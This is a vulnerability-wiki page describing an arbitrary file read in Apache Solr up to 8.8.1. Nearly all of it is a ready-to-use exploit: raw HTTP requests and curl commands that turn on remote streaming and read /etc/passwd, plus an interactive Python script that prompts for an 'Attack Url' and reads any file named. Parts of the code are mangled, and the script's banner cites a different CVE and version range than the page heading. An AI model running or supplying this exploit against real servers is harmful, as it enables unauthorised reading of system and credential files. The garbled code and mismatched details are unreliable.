Loading
0

Apache Solr任意文件读取漏洞/en

PWNWIK.COM==免费、自由、人人可编辑的漏洞库

,

Vulnerability Impact

Apache Solr <= 8.8.1

Exploit

First, go to the admin page and get the information about core

http://xxx.xxx.xxx.xxx/solr/admin/cores?indexInfo=false&wt=json

Send the following packet

POST /solr/ckan/config HTTP/1.1
Host: xxx.xxx.xxx:8983
Content-Length: 99
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://118.31.46.134:8983
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://118.31.46.134:8983/solr/ckan/config
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Connection: close

{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true},"olrkzv64tv":"="}

File Reading

POST /solr/ckan/debug/dump?param=ContentStreams HTTP/1.1
Host: xxx.xxx.xxx.xxx:8983
Content-Length: 29
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36
Origin: http://118.31.46.134:8983
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://118.31.46.134:8983/solr/ckan/config
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Connection: close

stream.url=file:///etc/passwd

curl request as

curl -d '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://xxx.xxx.xxx.xxx:8983/solr/{corename}/config -H 'Content-type:application/json'
curl "http://xxx.xxx.xxx.xxx:8983/solr/db/debug/dump?param=ContentStreams" -F "stream.url=file://etc/passwd" 

POC

import requests
import sys
import random
import re
import base64
import time
from lxml import etree
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \03334mPOC_Des: http://wiki.peiqi.tech           \0330m')
    print('+  \03334mGithub : https://github.com/PeiQi0        \0330m')
    print('+  \03334m公众号  : PeiQi文库                        \0330m')
    print('+  \03334mVersion: Apache Solr < 8.2.0            \0330m')
    print('+  \03336m使用格式: python3 CVE-2019-0193.py       \0330m')
    print('+  \03336mUrl    >>> http://xxx.xxx.xxx.xxx:8983  \0330m')
    print('+  \03336mFile   >>> 文件名称或目录                  \0330m')
    print('+------------------------------------------')

def POC_1(target_url):
    core_url = target_url + "/solr/admin/cores?indexInfo=false&wt=json"
    try:
        response = requests.request("GET", url=core_url, timeout=10)
        core_name = list(json.loads(response.text)"status")0
        print("\03332mo 成功获得core_name,Url为:" + target_url + "/solr/" + core_name + "/config\0330m")
        return core_name
    except:
        print("\03331mx 目标Url漏洞利用失败\0330m")
        sys.exit(0)

def POC_2(target_url, core_name):
    vuln_url = target_url + "/solr/" + core_name + "/config"
    headers = {
        "Content-type":"application/json"
    }
    data = '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}'
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
        print("\03336mo 正在准备文件读取...... \0330m".format(target_url))
        if "This" in response.text and response.status_code == 200:
            print("\03332mo 目标 {} 可能存在漏洞 \0330m".format(target_url))
        else:
            print("\03331mx 目标 {} 不存在漏洞\0330m".format(target_url))
            sys.exit(0)

    except Exception as e:
        print("\03331mx 请求失败 \0330m", e)

def POC_3(target_url, core_name, File_name):
    vuln_url = target_url + "/solr/{}/debug/dump?param=ContentStreams".format(core_name)
    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }
    data = 'stream.url=file://{}'.format(File_name)
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
        if "No such file or directory" in response.text:    
            print("\03331mx 读取{}失败 \0330m".format(File_name))
        else:
            print("\03336mo 响应为:\n{} \0330m".format(json.loads(response.text)"streams"0"stream"))


    except Exception as e:
        print("\03331mx 请求失败 \0330m", e)

if __name__ == '__main__':
    title()
    target_url = str(input("\03335mPlease input Attack Url\nUrl >>> \0330m"))
    core_name = POC_1(target_url)
    POC_2(target_url, core_name)
    while True:
        File_name = str(input("\03335mFile >>> \0330m"))
        POC_3(target_url, core_name, File_name)

免费、自由、人人可编辑的漏洞库--pwnwiki.com